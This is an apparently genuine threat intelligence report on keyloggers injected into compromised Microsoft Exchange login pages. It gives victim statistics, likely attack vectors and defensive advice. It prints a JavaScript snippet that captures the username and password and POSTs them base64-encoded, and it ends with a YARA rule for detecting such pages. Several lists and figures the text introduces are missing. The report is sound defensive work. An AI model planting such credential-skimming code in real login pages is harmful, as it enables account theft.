Authors:
Klimentiy Galkin, Threat Intelligence Specialist at the Positive Technologies Expert Security Center
Maxim Suslov, Senior Vulnerability Analysis Specialist at the PT Expert Security Center
Authors:
Klimentiy Galkin, Threat Intelligence Specialist at the Positive Technologies Expert Security Center
Maxim Suslov, Senior Vulnerability Analysis Specialist at the PT Expert Security Center
In May 2024, specialists from the Incident Response team at the Positive Technologies Expert Security Center (PT Expert Security Center) discovered an attack using an unknown keylogger injected into the home page of a compromised Exchange Server. In 2025, the Threat Intelligence team, in collaboration with the Vulnerability Analysis team from the PT Expert Security Center, observed similar attacks with no modifications made to the original keylogger code. Further analysis of the JavaScript code on the Outlook login page and its comparison with the source code of compromised pages, revealed several anomalies not typical for a standard Exchange Server authentication process. This analysis enabled the discovery of additional malicious code samples. All identified keyloggers fall into two categories:
How it works:
Typically, the malicious code is embedded within the legitimate authentication function clkLgn (Figure 1). However, in some cases, the malicious code is contained in a separate function, which calls clkLgn only after the compromised data has been sent.
var aes = new Date().toLocaleDateString() + "\t" +
document.getElementById("username").value + "\t" +
document.getElementById("password").value;
fetch('', {
'method': 'POST',
'body': new URLSearchParams({
'Aes': btoa(aes)
})
});
The described malware variant provides attackers with the following advantages:
Variants of this stealer differ based on the following parameters:
Some attackers used open directories to store text files containing stolen data. An example of such a file is shown in Figure 12.
During the investigation, around 65 victims were identified across 26 countries. The majority of compromised servers were found in government organizations (22 servers belonging to government entities), as well as in the IT, industrial, and logistics companies. Detailed statistics by country are presented in the figures below.
Below is a list of vulnerabilities that affected many of the compromised servers.
Exploiting these vulnerabilities could have been one of the attack vectors. However, not all compromised servers were vulnerable to publicly known vulnerabilities, suggesting that other methods may have been used to breach them.
A large number of Microsoft Exchange servers accessible from the Internet remain vulnerable to older vulnerabilities. This research has shown that one of the outcomes of exploiting these vulnerabilities is the injection of keyloggers into authentication pages.
By embedding malicious code into legitimate authentication pages, attackers are able to stay undetected for long periods while capturing user credentials in plain text.
If you find malicious code in your infrastructure or suspect that some of your systems may have been compromised, the experts at PT Expert Security Center provide services for retrospective analysis and incident investigations.
To defend against such threats, the following measures are recommended:
If you suspect your MS Exchange Server may have been compromised in a similar way, bypassing security and event monitoring systems, the following steps can help:
Below is the YARA rule that can help detect variations of the malicious pages described in this article:
rule PTESC_exploit_win_ZZ_Exchange__Keylogger__Javascript {
strings:
$anomaly_func_1 = "XMLHttpRequest"
$anomaly_func_2 = "eval"
$anomaly_func_3 = "fetch"
$anomaly_func_4 = "fromCharCode"
$anomaly_func_5 = "$.ajax"
$anomaly_func_6 = "atob"
$credential_string_1 = "user"
$credential_string_2 = "pass"
$exclude_strings_1 = "jquery.org/license"
$exclude_strings_2 = "captcha"
$exclude_strings_3 = "newrelic"
condition:
any of ($anomaly_func_*) and all of ($credential_string_*) and not all of ($exclude_strings_*)
}